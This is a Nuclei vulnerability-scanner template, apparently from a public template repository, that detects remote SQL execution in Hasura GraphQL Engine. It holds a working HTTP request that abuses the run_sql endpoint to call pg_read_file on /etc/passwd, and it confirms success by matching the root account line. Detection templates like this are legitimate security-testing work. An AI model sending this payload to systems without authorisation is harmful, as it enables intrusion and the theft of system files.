nuclei-templates/vulnerabilities/other/hasura-graphql-psql-exec.yaml

38 lines
809 B
YAML

id: hasura-graphql-psql-exec
info:
author: Udyz
name: Hasura GraphQL Engine - postgresql query exec
severity: critical
reference: https://www.exploit-db.com/exploits/49802
tags: hasura,rce
requests:
- raw:
- |
POST /v2/query HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type": "bulk",
"source": "default",
"args":[
{
"type": "run_sql",
"args": {
"source":"default",
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
"cascade": false,
"read_only": false
}
}
]
}
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body